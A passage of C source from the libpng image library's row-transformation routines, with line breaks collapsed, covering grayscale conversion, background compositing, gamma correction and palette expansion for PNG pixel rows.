defined(PNG_READ_GAMMA_SUPPORTED) || defined(PNG_READ_BACKGROUND_SUPPORTED) if (png_ptr->gamma_16_to_1 != NULL && png_ptr->gamma_16_from_1 != NULL) { png_bytep sp = row; png_bytep dp = row; for (i = 0; i < row_width; i++) { png_uint_16 red, green, blue, w; red = (png_uint_16)(((*(sp))<<8) | *(sp + 1)); sp += 2; green = (png_uint_16)(((*(sp))<<8) | *(sp + 1)); sp += 2; blue = (png_uint_16)(((*(sp))<<8) | *(sp + 1)); sp += 2; if (red == green && red == blue) w = red; else { png_uint_16 red_1 = png_ptr->gamma_16_to_1[(red&0xff) >> png_ptr->gamma_shift][red>>8]; png_uint_16 green_1 = png_ptr->gamma_16_to_1[(green&0xff) >> png_ptr->gamma_shift][green>>8]; png_uint_16 blue_1 = png_ptr->gamma_16_to_1[(blue&0xff) >> png_ptr->gamma_shift][blue>>8]; png_uint_16 gray16 = (png_uint_16)((rc*red_1 + gc*green_1 + bc*blue_1)>>15); w = png_ptr->gamma_16_from_1[(gray16&0xff) >> png_ptr->gamma_shift][gray16 >> 8]; rgb_error |= 1; } *(dp++) = (png_byte)((w>>8) & 0xff); *(dp++) = (png_byte)(w & 0xff); } } else #endif { png_bytep sp = row; png_bytep dp = row; for (i = 0; i < row_width; i++) { png_uint_16 red, green, blue, gray16; red = (png_uint_16)(((*(sp))<<8) | *(sp + 1)); sp += 2; green = (png_uint_16)(((*(sp))<<8) | *(sp + 1)); sp += 2; blue = (png_uint_16)(((*(sp))<<8) | *(sp + 1)); sp += 2; if (red != green || red != blue) rgb_error |= 1; gray16 = (png_uint_16)((rc*red + gc*green + bc*blue)>>15); *(dp++) = (png_byte)((gray16>>8) & 0xff); *(dp++) = (png_byte)(gray16 & 0xff); } } } } if (row_info->color_type == PNG_COLOR_TYPE_RGB_ALPHA) { if (row_info->bit_depth == 8) { #if defined(PNG_READ_GAMMA_SUPPORTED) || defined(PNG_READ_BACKGROUND_SUPPORTED) if (png_ptr->gamma_from_1 != NULL && png_ptr->gamma_to_1 != NULL) { png_bytep sp = row; png_bytep dp = row; for (i = 0; i < row_width; i++) { png_byte red = png_ptr->gamma_to_1[*(sp++)]; png_byte green = png_ptr->gamma_to_1[*(sp++)]; png_byte blue = png_ptr->gamma_to_1[*(sp++)]; if (red != green || red != blue) rgb_error |= 1; *(dp++) = png_ptr->gamma_from_1 [(rc*red + gc*green + bc*blue)>>15]; *(dp++) = *(sp++); /* alpha */ } } else #endif { png_bytep sp = row; png_bytep dp = row; for (i = 0; i < row_width; i++) { png_byte red = *(sp++); png_byte green = *(sp++); png_byte blue = *(sp++); if (red != green || red != blue) rgb_error |= 1; *(dp++) = (png_byte)((rc*red + gc*green + bc*blue)>>15); *(dp++) = *(sp++); /* alpha */ } } } else /* RGBA bit_depth == 16 */ { #if defined(PNG_READ_GAMMA_SUPPORTED) || defined(PNG_READ_BACKGROUND_SUPPORTED) if (png_ptr->gamma_16_to_1 != NULL && png_ptr->gamma_16_from_1 != NULL) { png_bytep sp = row; png_bytep dp = row; for (i = 0; i < row_width; i++) { png_uint_16 red, green, blue, w; red = (png_uint_16)(((*(sp))<<8) | *(sp + 1)); sp += 2; green = (png_uint_16)(((*(sp))<<8) | *(sp + 1)); sp += 2; blue = (png_uint_16)(((*(sp))<<8) | *(sp + 1)); sp += 2; if (red == green && red == blue) w = red; else { png_uint_16 red_1 = png_ptr->gamma_16_to_1[(red&0xff) >> png_ptr->gamma_shift][red>>8]; png_uint_16 green_1 = png_ptr->gamma_16_to_1[(green&0xff) >> png_ptr->gamma_shift][green>>8]; png_uint_16 blue_1 = png_ptr->gamma_16_to_1[(blue&0xff) >> png_ptr->gamma_shift][blue>>8]; png_uint_16 gray16 = (png_uint_16)((rc * red_1 + gc * green_1 + bc * blue_1)>>15); w = png_ptr->gamma_16_from_1[(gray16&0xff) >> png_ptr->gamma_shift][gray16 >> 8]; rgb_error |= 1; } *(dp++) = (png_byte)((w>>8) & 0xff); *(dp++) = (png_byte)(w & 0xff); *(dp++) = *(sp++); /* alpha */ *(dp++) = *(sp++); } } else #endif { png_bytep sp = row; png_bytep dp = row; for (i = 0; i < row_width; i++) { png_uint_16 red, green, blue, gray16; red = (png_uint_16)((*(sp)<<8) | *(sp + 1)); sp += 2; green = (png_uint_16)((*(sp)<<8) | *(sp + 1)); sp += 2; blue = (png_uint_16)((*(sp)<<8) | *(sp + 1)); sp += 2; if (red != green || red != blue) rgb_error |= 1; gray16 = (png_uint_16)((rc*red + gc*green + bc*blue)>>15); *(dp++) = (png_byte)((gray16>>8) & 0xff); *(dp++) = (png_byte)(gray16 & 0xff); *(dp++) = *(sp++); /* alpha */ *(dp++) = *(sp++); } } } } row_info->channels -= 2; row_info->color_type = (png_byte)(row_info->color_type & ~PNG_COLOR_MASK_COLOR); row_info->pixel_depth = (png_byte)(row_info->channels * row_info->bit_depth); row_info->rowbytes = PNG_ROWBYTES(row_info->pixel_depth, row_width); } return rgb_error; } #endif /* Build a grayscale palette. Palette is assumed to be 1 << bit_depth * large of png_color. This lets grayscale images be treated as * paletted. Most useful for gamma correction and simplification * of code. */ void PNGAPI png_build_grayscale_palette(int bit_depth, png_colorp palette) { int num_palette; int color_inc; int i; int v; png_debug(1, "in png_do_build_grayscale_palette"); if (palette == NULL) return; switch (bit_depth) { case 1: num_palette = 2; color_inc = 0xff; break; case 2: num_palette = 4; color_inc = 0x55; break; case 4: num_palette = 16; color_inc = 0x11; break; case 8: num_palette = 256; color_inc = 1; break; default: num_palette = 0; color_inc = 0; break; } for (i = 0, v = 0; i < num_palette; i++, v += color_inc) { palette[i].red = (png_byte)v; palette[i].green = (png_byte)v; palette[i].blue = (png_byte)v; } } #ifdef PNG_READ_BACKGROUND_SUPPORTED /* Replace any alpha or transparency with the supplied background color. * "background" is already in the screen gamma, while "background_1" is * at a gamma of 1.0. Paletted files have already been taken care of. */ void /* PRIVATE */ png_do_background(png_row_infop row_info, png_bytep row, png_const_color_16p trans_color, png_const_color_16p background #ifdef PNG_READ_GAMMA_SUPPORTED , png_const_color_16p background_1, png_const_bytep gamma_table, png_const_bytep gamma_from_1, png_const_bytep gamma_to_1, png_const_uint_16pp gamma_16, png_const_uint_16pp gamma_16_from_1, png_const_uint_16pp gamma_16_to_1, int gamma_shift #endif ) { png_bytep sp, dp; png_uint_32 i; png_uint_32 row_width = row_info->width; int shift; png_debug(1, "in png_do_background"); if (background != NULL && (!(row_info->color_type & PNG_COLOR_MASK_ALPHA) || (row_info->color_type != PNG_COLOR_TYPE_PALETTE && trans_color))) { switch (row_info->color_type) { case PNG_COLOR_TYPE_GRAY: { switch (row_info->bit_depth) { case 1: { sp = row; shift = 7; for (i = 0; i < row_width; i++) { if ((png_uint_16)((*sp >> shift) & 0x01) == trans_color->gray) { *sp &= (png_byte)((0x7f7f >> (7 - shift)) & 0xff); *sp |= (png_byte)(background->gray << shift); } if (!shift) { shift = 7; sp++; } else shift--; } break; } case 2: { #ifdef PNG_READ_GAMMA_SUPPORTED if (gamma_table != NULL) { sp = row; shift = 6; for (i = 0; i < row_width; i++) { if ((png_uint_16)((*sp >> shift) & 0x03) == trans_color->gray) { *sp &= (png_byte)((0x3f3f >> (6 - shift)) & 0xff); *sp |= (png_byte)(background->gray << shift); } else { png_byte p = (png_byte)((*sp >> shift) & 0x03); png_byte g = (png_byte)((gamma_table [p | (p << 2) | (p << 4) | (p << 6)] >> 6) & 0x03); *sp &= (png_byte)((0x3f3f >> (6 - shift)) & 0xff); *sp |= (png_byte)(g << shift); } if (!shift) { shift = 6; sp++; } else shift -= 2; } } else #endif { sp = row; shift = 6; for (i = 0; i < row_width; i++) { if ((png_uint_16)((*sp >> shift) & 0x03) == trans_color->gray) { *sp &= (png_byte)((0x3f3f >> (6 - shift)) & 0xff); *sp |= (png_byte)(background->gray << shift); } if (!shift) { shift = 6; sp++; } else shift -= 2; } } break; } case 4: { #ifdef PNG_READ_GAMMA_SUPPORTED if (gamma_table != NULL) { sp = row; shift = 4; for (i = 0; i < row_width; i++) { if ((png_uint_16)((*sp >> shift) & 0x0f) == trans_color->gray) { *sp &= (png_byte)((0xf0f >> (4 - shift)) & 0xff); *sp |= (png_byte)(background->gray << shift); } else { png_byte p = (png_byte)((*sp >> shift) & 0x0f); png_byte g = (png_byte)((gamma_table[p | (p << 4)] >> 4) & 0x0f); *sp &= (png_byte)((0xf0f >> (4 - shift)) & 0xff); *sp |= (png_byte)(g << shift); } if (!shift) { shift = 4; sp++; } else shift -= 4; } } else #endif { sp = row; shift = 4; for (i = 0; i < row_width; i++) { if ((png_uint_16)((*sp >> shift) & 0x0f) == trans_color->gray) { *sp &= (png_byte)((0xf0f >> (4 - shift)) & 0xff); *sp |= (png_byte)(background->gray << shift); } if (!shift) { shift = 4; sp++; } else shift -= 4; } } break; } case 8: { #ifdef PNG_READ_GAMMA_SUPPORTED if (gamma_table != NULL) { sp = row; for (i = 0; i < row_width; i++, sp++) { if (*sp == trans_color->gray) *sp = (png_byte)background->gray; else *sp = gamma_table[*sp]; } } else #endif { sp = row; for (i = 0; i < row_width; i++, sp++) { if (*sp == trans_color->gray) *sp = (png_byte)background->gray; } } break; } case 16: { #ifdef PNG_READ_GAMMA_SUPPORTED if (gamma_16 != NULL) { sp = row; for (i = 0; i < row_width; i++, sp += 2) { png_uint_16 v; v = (png_uint_16)(((*sp) << 8) + *(sp + 1)); if (v == trans_color->gray) { /* Background is already in screen gamma */ *sp = (png_byte)((background->gray >> 8) & 0xff); *(sp + 1) = (png_byte)(background->gray & 0xff); } else { v = gamma_16[*(sp + 1) >> gamma_shift][*sp]; *sp = (png_byte)((v >> 8) & 0xff); *(sp + 1) = (png_byte)(v & 0xff); } } } else #endif { sp = row; for (i = 0; i < row_width; i++, sp += 2) { png_uint_16 v; v = (png_uint_16)(((*sp) << 8) + *(sp + 1)); if (v == trans_color->gray) { *sp = (png_byte)((background->gray >> 8) & 0xff); *(sp + 1) = (png_byte)(background->gray & 0xff); } } } break; } default: break; } break; } case PNG_COLOR_TYPE_RGB: { if (row_info->bit_depth == 8) { #ifdef PNG_READ_GAMMA_SUPPORTED if (gamma_table != NULL) { sp = row; for (i = 0; i < row_width; i++, sp += 3) { if (*sp == trans_color->red && *(sp + 1) == trans_color->green && *(sp + 2) == trans_color->blue) { *sp = (png_byte)background->red; *(sp + 1) = (png_byte)background->green; *(sp + 2) = (png_byte)background->blue; } else { *sp = gamma_table[*sp]; *(sp + 1) = gamma_table[*(sp + 1)]; *(sp + 2) = gamma_table[*(sp + 2)]; } } } else #endif { sp = row; for (i = 0; i < row_width; i++, sp += 3) { if (*sp == trans_color->red && *(sp + 1) == trans_color->green && *(sp + 2) == trans_color->blue) { *sp = (png_byte)background->red; *(sp + 1) = (png_byte)background->green; *(sp + 2) = (png_byte)background->blue; } } } } else /* if (row_info->bit_depth == 16) */ { #ifdef PNG_READ_GAMMA_SUPPORTED if (gamma_16 != NULL) { sp = row; for (i = 0; i < row_width; i++, sp += 6) { png_uint_16 r = (png_uint_16)(((*sp) << 8) + *(sp + 1)); png_uint_16 g = (png_uint_16)(((*(sp + 2)) << 8) + *(sp + 3)); png_uint_16 b = (png_uint_16)(((*(sp + 4)) << 8) + *(sp + 5)); if (r == trans_color->red && g == trans_color->green && b == trans_color->blue) { /* Background is already in screen gamma */ *sp = (png_byte)((background->red >> 8) & 0xff); *(sp + 1) = (png_byte)(background->red & 0xff); *(sp + 2) = (png_byte)((background->green >> 8) & 0xff); *(sp + 3) = (png_byte)(background->green & 0xff); *(sp + 4) = (png_byte)((background->blue >> 8) & 0xff); *(sp + 5) = (png_byte)(background->blue & 0xff); } else { png_uint_16 v = gamma_16[*(sp + 1) >> gamma_shift][*sp]; *sp = (png_byte)((v >> 8) & 0xff); *(sp + 1) = (png_byte)(v & 0xff); v = gamma_16[*(sp + 3) >> gamma_shift][*(sp + 2)]; *(sp + 2) = (png_byte)((v >> 8) & 0xff); *(sp + 3) = (png_byte)(v & 0xff); v = gamma_16[*(sp + 5) >> gamma_shift][*(sp + 4)]; *(sp + 4) = (png_byte)((v >> 8) & 0xff); *(sp + 5) = (png_byte)(v & 0xff); } } } else #endif { sp = row; for (i = 0; i < row_width; i++, sp += 6) { png_uint_16 r = (png_uint_16)(((*sp) << 8) + *(sp + 1)); png_uint_16 g = (png_uint_16)(((*(sp + 2)) << 8) + *(sp + 3)); png_uint_16 b = (png_uint_16)(((*(sp + 4)) << 8) + *(sp + 5)); if (r == trans_color->red && g == trans_color->green && b == trans_color->blue) { *sp = (png_byte)((background->red >> 8) & 0xff); *(sp + 1) = (png_byte)(background->red & 0xff); *(sp + 2) = (png_byte)((background->green >> 8) & 0xff); *(sp + 3) = (png_byte)(background->green & 0xff); *(sp + 4) = (png_byte)((background->blue >> 8) & 0xff); *(sp + 5) = (png_byte)(background->blue & 0xff); } } } } break; } case PNG_COLOR_TYPE_GRAY_ALPHA: { if (row_info->bit_depth == 8) { #ifdef PNG_READ_GAMMA_SUPPORTED if (gamma_to_1 != NULL && gamma_from_1 != NULL && gamma_table != NULL) { sp = row; dp = row; for (i = 0; i < row_width; i++, sp += 2, dp++) { png_uint_16 a = *(sp + 1); if (a == 0xff) *dp = gamma_table[*sp]; else if (a == 0) { /* Background is already in screen gamma */ *dp = (png_byte)background->gray; } else { png_byte v, w; v = gamma_to_1[*sp]; png_composite(w, v, a, background_1->gray); *dp = gamma_from_1[w]; } } } else #endif { sp = row; dp = row; for (i = 0; i < row_width; i++, sp += 2, dp++) { png_byte a = *(sp + 1); if (a == 0xff) *dp = *sp; #ifdef PNG_READ_GAMMA_SUPPORTED else if (a == 0) *dp = (png_byte)background->gray; else png_composite(*dp, *sp, a, background_1->gray); #else *dp = (png_byte)background->gray; #endif } } } else /* if (png_ptr->bit_depth == 16) */ { #ifdef PNG_READ_GAMMA_SUPPORTED if (gamma_16 != NULL && gamma_16_from_1 != NULL && gamma_16_to_1 != NULL) { sp = row; dp = row; for (i = 0; i < row_width; i++, sp += 4, dp += 2) { png_uint_16 a = (png_uint_16)(((*(sp + 2)) << 8) + *(sp + 3)); if (a == (png_uint_16)0xffff) { png_uint_16 v; v = gamma_16[*(sp + 1) >> gamma_shift][*sp]; *dp = (png_byte)((v >> 8) & 0xff); *(dp + 1) = (png_byte)(v & 0xff); } #ifdef PNG_READ_GAMMA_SUPPORTED else if (a == 0) #else else #endif { /* Background is already in screen gamma */ *dp = (png_byte)((background->gray >> 8) & 0xff); *(dp + 1) = (png_byte)(background->gray & 0xff); } #ifdef PNG_READ_GAMMA_SUPPORTED else { png_uint_16 g, v, w; g = gamma_16_to_1[*(sp + 1) >> gamma_shift][*sp]; png_composite_16(v, g, a, background_1->gray); w = gamma_16_from_1[(v&0xff) >> gamma_shift][v >> 8]; *dp = (png_byte)((w >> 8) & 0xff); *(dp + 1) = (png_byte)(w & 0xff); } #endif } } else #endif { sp = row; dp = row; for (i = 0; i < row_width; i++, sp += 4, dp += 2) { png_uint_16 a = (png_uint_16)(((*(sp + 2)) << 8) + *(sp + 3)); if (a == (png_uint_16)0xffff) png_memcpy(dp, sp, 2); #ifdef PNG_READ_GAMMA_SUPPORTED else if (a == 0) #else else #endif { *dp = (png_byte)((background->gray >> 8) & 0xff); *(dp + 1) = (png_byte)(background->gray & 0xff); } #ifdef PNG_READ_GAMMA_SUPPORTED else { png_uint_16 g, v; g = (png_uint_16)(((*sp) << 8) + *(sp + 1)); png_composite_16(v, g, a, background_1->gray); *dp = (png_byte)((v >> 8) & 0xff); *(dp + 1) = (png_byte)(v & 0xff); } #endif } } } break; } case PNG_COLOR_TYPE_RGB_ALPHA: { if (row_info->bit_depth == 8) { #ifdef PNG_READ_GAMMA_SUPPORTED if (gamma_to_1 != NULL && gamma_from_1 != NULL && gamma_table != NULL) { sp = row; dp = row; for (i = 0; i < row_width; i++, sp += 4, dp += 3) { png_byte a = *(sp + 3); if (a == 0xff) { *dp = gamma_table[*sp]; *(dp + 1) = gamma_table[*(sp + 1)]; *(dp + 2) = gamma_table[*(sp + 2)]; } else if (a == 0) { /* Background is already in screen gamma */ *dp = (png_byte)background->red; *(dp + 1) = (png_byte)background->green; *(dp + 2) = (png_byte)background->blue; } else { png_byte v, w; v = gamma_to_1[*sp]; png_composite(w, v, a, background_1->red); *dp = gamma_from_1[w]; v = gamma_to_1[*(sp + 1)]; png_composite(w, v, a, background_1->green); *(dp + 1) = gamma_from_1[w]; v = gamma_to_1[*(sp + 2)]; png_composite(w, v, a, background_1->blue); *(dp + 2) = gamma_from_1[w]; } } } else #endif { sp = row; dp = row; for (i = 0; i < row_width; i++, sp += 4, dp += 3) { png_byte a = *(sp + 3); if (a == 0xff) { *dp = *sp; *(dp + 1) = *(sp + 1); *(dp + 2) = *(sp + 2); } else if (a == 0) { *dp = (png_byte)background->red; *(dp + 1) = (png_byte)background->green; *(dp + 2) = (png_byte)background->blue; } else { png_composite(*dp, *sp, a, background->red); png_composite(*(dp + 1), *(sp + 1), a, background->green); png_composite(*(dp + 2), *(sp + 2), a, background->blue); } } } } else /* if (row_info->bit_depth == 16) */ { #ifdef PNG_READ_GAMMA_SUPPORTED if (gamma_16 != NULL && gamma_16_from_1 != NULL && gamma_16_to_1 != NULL) { sp = row; dp = row; for (i = 0; i < row_width; i++, sp += 8, dp += 6) { png_uint_16 a = (png_uint_16)(((png_uint_16)(*(sp + 6)) << 8) + (png_uint_16)(*(sp + 7))); if (a == (png_uint_16)0xffff) { png_uint_16 v; v = gamma_16[*(sp + 1) >> gamma_shift][*sp]; *dp = (png_byte)((v >> 8) & 0xff); *(dp + 1) = (png_byte)(v & 0xff); v = gamma_16[*(sp + 3) >> gamma_shift][*(sp + 2)]; *(dp + 2) = (png_byte)((v >> 8) & 0xff); *(dp + 3) = (png_byte)(v & 0xff); v = gamma_16[*(sp + 5) >> gamma_shift][*(sp + 4)]; *(dp + 4) = (png_byte)((v >> 8) & 0xff); *(dp + 5) = (png_byte)(v & 0xff); } else if (a == 0) { /* Background is already in screen gamma */ *dp = (png_byte)((background->red >> 8) & 0xff); *(dp + 1) = (png_byte)(background->red & 0xff); *(dp + 2) = (png_byte)((background->green >> 8) & 0xff); *(dp + 3) = (png_byte)(background->green & 0xff); *(dp + 4) = (png_byte)((background->blue >> 8) & 0xff); *(dp + 5) = (png_byte)(background->blue & 0xff); } else { png_uint_16 v, w, x; v = gamma_16_to_1[*(sp + 1) >> gamma_shift][*sp]; png_composite_16(w, v, a, background_1->red); x = gamma_16_from_1[((w&0xff) >> gamma_shift)][w >> 8]; *dp = (png_byte)((x >> 8) & 0xff); *(dp + 1) = (png_byte)(x & 0xff); v = gamma_16_to_1[*(sp + 3) >> gamma_shift][*(sp + 2)]; png_composite_16(w, v, a, background_1->green); x = gamma_16_from_1[((w&0xff) >> gamma_shift)][w >> 8]; *(dp + 2) = (png_byte)((x >> 8) & 0xff); *(dp + 3) = (png_byte)(x & 0xff); v = gamma_16_to_1[*(sp + 5) >> gamma_shift][*(sp + 4)]; png_composite_16(w, v, a, background_1->blue); x = gamma_16_from_1[(w & 0xff) >> gamma_shift][w >> 8]; *(dp + 4) = (png_byte)((x >> 8) & 0xff); *(dp + 5) = (png_byte)(x & 0xff); } } } else #endif { sp = row; dp = row; for (i = 0; i < row_width; i++, sp += 8, dp += 6) { png_uint_16 a = (png_uint_16)(((png_uint_16)(*(sp + 6)) << 8) + (png_uint_16)(*(sp + 7))); if (a == (png_uint_16)0xffff) { png_memcpy(dp, sp, 6); } else if (a == 0) { *dp = (png_byte)((background->red >> 8) & 0xff); *(dp + 1) = (png_byte)(background->red & 0xff); *(dp + 2) = (png_byte)((background->green >> 8) & 0xff); *(dp + 3) = (png_byte)(background->green & 0xff); *(dp + 4) = (png_byte)((background->blue >> 8) & 0xff); *(dp + 5) = (png_byte)(background->blue & 0xff); } else { png_uint_16 v; png_uint_16 r = (png_uint_16)(((*sp) << 8) + *(sp + 1)); png_uint_16 g = (png_uint_16)(((*(sp + 2)) << 8) + *(sp + 3)); png_uint_16 b = (png_uint_16)(((*(sp + 4)) << 8) + *(sp + 5)); png_composite_16(v, r, a, background->red); *dp = (png_byte)((v >> 8) & 0xff); *(dp + 1) = (png_byte)(v & 0xff); png_composite_16(v, g, a, background->green); *(dp + 2) = (png_byte)((v >> 8) & 0xff); *(dp + 3) = (png_byte)(v & 0xff); png_composite_16(v, b, a, background->blue); *(dp + 4) = (png_byte)((v >> 8) & 0xff); *(dp + 5) = (png_byte)(v & 0xff); } } } } break; } default: break; } if (row_info->color_type & PNG_COLOR_MASK_ALPHA) { row_info->color_type = (png_byte)(row_info->color_type & ~PNG_COLOR_MASK_ALPHA); row_info->channels--; row_info->pixel_depth = (png_byte)(row_info->channels * row_info->bit_depth); row_info->rowbytes = PNG_ROWBYTES(row_info->pixel_depth, row_width); } } } #endif #ifdef PNG_READ_GAMMA_SUPPORTED /* Gamma correct the image, avoiding the alpha channel. Make sure * you do this after you deal with the transparency issue on grayscale * or RGB images. If your bit depth is 8, use gamma_table, if it * is 16, use gamma_16_table and gamma_shift. Build these with * build_gamma_table(). */ void /* PRIVATE */ png_do_gamma(png_row_infop row_info, png_bytep row, png_const_bytep gamma_table, png_const_uint_16pp gamma_16_table, int gamma_shift) { png_bytep sp; png_uint_32 i; png_uint_32 row_width=row_info->width; png_debug(1, "in png_do_gamma"); if (((row_info->bit_depth <= 8 && gamma_table != NULL) || (row_info->bit_depth == 16 && gamma_16_table != NULL))) { switch (row_info->color_type) { case PNG_COLOR_TYPE_RGB: { if (row_info->bit_depth == 8) { sp = row; for (i = 0; i < row_width; i++) { *sp = gamma_table[*sp]; sp++; *sp = gamma_table[*sp]; sp++; *sp = gamma_table[*sp]; sp++; } } else /* if (row_info->bit_depth == 16) */ { sp = row; for (i = 0; i < row_width; i++) { png_uint_16 v; v = gamma_16_table[*(sp + 1) >> gamma_shift][*sp]; *sp = (png_byte)((v >> 8) & 0xff); *(sp + 1) = (png_byte)(v & 0xff); sp += 2; v = gamma_16_table[*(sp + 1) >> gamma_shift][*sp]; *sp = (png_byte)((v >> 8) & 0xff); *(sp + 1) = (png_byte)(v & 0xff); sp += 2; v = gamma_16_table[*(sp + 1) >> gamma_shift][*sp]; *sp = (png_byte)((v >> 8) & 0xff); *(sp + 1) = (png_byte)(v & 0xff); sp += 2; } } break; } case PNG_COLOR_TYPE_RGB_ALPHA: { if (row_info->bit_depth == 8) { sp = row; for (i = 0; i < row_width; i++) { *sp = gamma_table[*sp]; sp++; *sp = gamma_table[*sp]; sp++; *sp = gamma_table[*sp]; sp++; sp++; } } else /* if (row_info->bit_depth == 16) */ { sp = row; for (i = 0; i < row_width; i++) { png_uint_16 v = gamma_16_table[*(sp + 1) >> gamma_shift][*sp]; *sp = (png_byte)((v >> 8) & 0xff); *(sp + 1) = (png_byte)(v & 0xff); sp += 2; v = gamma_16_table[*(sp + 1) >> gamma_shift][*sp]; *sp = (png_byte)((v >> 8) & 0xff); *(sp + 1) = (png_byte)(v & 0xff); sp += 2; v = gamma_16_table[*(sp + 1) >> gamma_shift][*sp]; *sp = (png_byte)((v >> 8) & 0xff); *(sp + 1) = (png_byte)(v & 0xff); sp += 4; } } break; } case PNG_COLOR_TYPE_GRAY_ALPHA: { if (row_info->bit_depth == 8) { sp = row; for (i = 0; i < row_width; i++) { *sp = gamma_table[*sp]; sp += 2; } } else /* if (row_info->bit_depth == 16) */ { sp = row; for (i = 0; i < row_width; i++) { png_uint_16 v = gamma_16_table[*(sp + 1) >> gamma_shift][*sp]; *sp = (png_byte)((v >> 8) & 0xff); *(sp + 1) = (png_byte)(v & 0xff); sp += 4; } } break; } case PNG_COLOR_TYPE_GRAY: { if (row_info->bit_depth == 2) { sp = row; for (i = 0; i < row_width; i += 4) { int a = *sp & 0xc0; int b = *sp & 0x30; int c = *sp & 0x0c; int d = *sp & 0x03; *sp = (png_byte)( ((((int)gamma_table[a|(a>>2)|(a>>4)|(a>>6)]) ) & 0xc0)| ((((int)gamma_table[(b<<2)|b|(b>>2)|(b>>4)])>>2) & 0x30)| ((((int)gamma_table[(c<<4)|(c<<2)|c|(c>>2)])>>4) & 0x0c)| ((((int)gamma_table[(d<<6)|(d<<4)|(d<<2)|d])>>6) )); sp++; } } if (row_info->bit_depth == 4) { sp = row; for (i = 0; i < row_width; i += 2) { int msb = *sp & 0xf0; int lsb = *sp & 0x0f; *sp = (png_byte)((((int)gamma_table[msb | (msb >> 4)]) & 0xf0) | (((int)gamma_table[(lsb << 4) | lsb]) >> 4)); sp++; } } else if (row_info->bit_depth == 8) { sp = row; for (i = 0; i < row_width; i++) { *sp = gamma_table[*sp]; sp++; } } else if (row_info->bit_depth == 16) { sp = row; for (i = 0; i < row_width; i++) { png_uint_16 v = gamma_16_table[*(sp + 1) >> gamma_shift][*sp]; *sp = (png_byte)((v >> 8) & 0xff); *(sp + 1) = (png_byte)(v & 0xff); sp += 2; } } break; } default: break; } } } #endif #ifdef PNG_READ_EXPAND_SUPPORTED /* Expands a palette row to an RGB or RGBA row depending * upon whether you supply trans and num_trans. */ void /* PRIVATE */ png_do_expand_palette(png_row_infop row_info, png_bytep row, png_const_colorp palette, png_const_bytep trans_alpha, int num_trans) { int shift, value; png_bytep sp, dp; png_uint_32 i; png_uint_32 row_width=row_info->width; png_debug(1, "in png_do_expand_palette"); if (row_info->color_type == PNG_COLOR_TYPE_PALETTE) { if (row_info->bit_depth < 8) { switch (row_info->bit_depth) { case 1: { sp = row + (png_size_t)((row_width - 1) >> 3); dp = row + (png_size_t)row_width - 1; shift = 7 - (int)((row_width + 7) & 0x07); for (i = 0; i < row_width; i++) { if ((*sp >> shift) & 0x01) *dp = 1; else *dp = 0; if (shift == 7) { shift = 0; sp--; } else shift++; dp--; } break; } case 2: { sp = row + (png_size_t)((row_width - 1) >> 2); dp = row + (png_size_t)row_width - 1; shift = (int)((3 - ((row_width + 3) & 0x03)) << 1); for (i = 0; i < row_width; i++) { value = (*sp >> shift) & 0x03; *dp = (png_byte)value; if (shift == 6) { shift = 0; sp--; } else shift += 2; dp--; } break; } case 4: { sp = row + (png_size_t)((row_width - 1) >> 1); dp = row + (png_size_t)row_width - 1; shift = (int)((row_width & 0x01) << 2); for (i = 0; i < row_width; i++) { value = (*sp >> shift) & 0x0f; *dp = (png_byte)value; if (shift == 4) { shift = 0; sp--; } else shift += 4; dp--; } break; } default: break; } row_info->bit_depth = 8; row_info->pixel_depth = 8; row_info->rowbytes = row_width; } if (row_info->bit_depth == 8) { { if (trans_alpha != NULL) { sp = row + (png_size_t)row_width - 1; dp = row + (png_size_t)(row_width << 2) - 1; for (i = 0; i < row_width; i++) { if ((int)(*sp) >= num_trans) *dp-- = 0xff; else *dp-- = trans_alpha[*sp]; *dp-- = palette[*sp].blue; *dp-- = palette[*sp].green; *dp-- = palette[*sp].red; sp--; } row_info->bit_depth = 8; row_info->pixel_depth = 32; row_info->rowbytes = row_width * 4; row_info->color_type = 6; row_info->channels = 4; } else { sp = row + (png_size_t)row_width - 1; dp = row + (png_size_t)(row_width * 3) - 1; for (i = 0; i < row_width; i++) { *dp-- = palette[*sp].blue; *dp-- = palette[*sp].green; *dp-- = palette[*sp].red; sp--; } row_info->bit_depth = 8; row_info->pixel_depth = 24; row_info->rowbytes = row_width * 3; row_info->color_type = 2; row_info->channels = 3; } } } } } /* If the bit depth < 8, it is expanded to 8. Also, if the already * expanded transparency value is supplied, an alpha channel is built. */ void /* PRIVATE */ png_do_expand(png_row_infop row_info, png_bytep row, png_const_color_16p trans_value) { int shift, value; png_bytep sp, dp; png_uint_32 i; png_uint_32 row_width=row_info->width; png_debug(1, "in png_do_expand"); { if (row_info->color_type == PNG_COLOR_TYPE_GRAY) { png_uint_16 gray = (png_uint_16)(trans_value ? trans_value->gray : 0); if (row_info->bit_depth < 8) { switch (row_info->bit_depth) { case 1: { gray = (png_uint_16)((gray & 0x01) * 0xff); sp = row + (png_size_t)((row_width - 1) >> 3); dp = row + (png_size_t)row_width - 1; shift = 7 - (int)((row_width + 7) & 0x07); for (i = 0; i < row_width; i++) { if ((*sp >> shift) & 0x01) *dp = 0xff; else *dp = 0; if (shift == 7) { shift = 0; sp--; } else shift++; dp--; } break; } case 2: { gray = (png_uint_16)((gray & 0x03) * 0x55); sp = row + (png_size_t)((row_width - 1) >> 2); dp = row + (png_size_t)row_width - 1; shift = (int)((3 - ((row_width + 3) & 0x03)) << 1); for (i = 0; i < row_width; i++) { value = (*sp >> shift) & 0x03; *dp = (png_byte)(value | (value << 2) | (value << 4) | (value << 6)); if (shift == 6) { shift = 0; sp--; } else shift += 2; dp--; } break; } case 4: { gray = (png_uint_16)((gray & 0x0f) * 0x11); sp = row + (png_size_t)((row_width - 1) >> 1); dp = row + (png_size_t)row_width - 1; shift = (int)((1 - ((row_width + 1) & 0x01)) << 2); for (i = 0; i < row_width; i++) { value = (*sp >> shift) & 0x0f; *dp = (png_byte)(value | (value << 4)); if (shift == 4) { shift = 0; sp--; } else shift = 4; dp--; } break; } default: break; } row_info->bit_depth = 8; row_info->pixel_depth = 8; row_info->rowbytes = row_width; } if (trans_value != NULL) { if (row_info->bit_depth == 8) { gray = gray & 0xff; sp = row + (png_size_t)row_width - 1; dp = row + (png_size_t)(row_width << 1) - 1; for (i = 0; i < row_width; i++) { if (*sp == gray) *dp-- = 0; else *dp-- = 0xff; *dp-- = *sp--; } } else if (row_info->bit_depth == 16) { png_byte gray_high = (png_byte)((gray >> 8) & 0xff); png_byte gray_low = (png_byte)(gray & 0xff); sp = row + row_info->rowbytes - 1; dp = row + (row_info->rowbytes << 1) - 1; for (i = 0; i < row_width; i++) { if (*(sp - 1) == gray_high && *(sp) == gray_low) { *dp-- = 